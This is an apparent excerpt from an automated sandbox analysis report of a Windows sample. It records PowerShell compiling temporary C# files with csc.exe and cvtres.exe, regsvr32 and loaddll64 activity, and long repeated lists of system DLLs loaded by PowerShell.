Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nkfeparf\nkfeparf.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\amlysbvw\amlysbvw.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD20F.tmp" "c:\Users\user\AppData\Local\Temp\txglqdpo\CSCFCCF7DA9204A4074A4DB161ACEE12220.TMP"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDAD9.tmp" "c:\Users\user\AppData\Local\Temp\moha2pjv\CSCA4149D862A5C4366874B2835B59D82E1.TMP"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDC30.tmp" "c:\Users\user\AppData\Local\Temp\amlysbvw\CSC2A1C7825B77E498896BC74C8D6453DCB.TMP"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDFCA.tmp" "c:\Users\user\AppData\Local\Temp\nkfeparf\CSC893044B012DD471D94F368B2CDB922.TMP"	Jump to behavior

Source: C:\Windows\System32\loaddll64.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
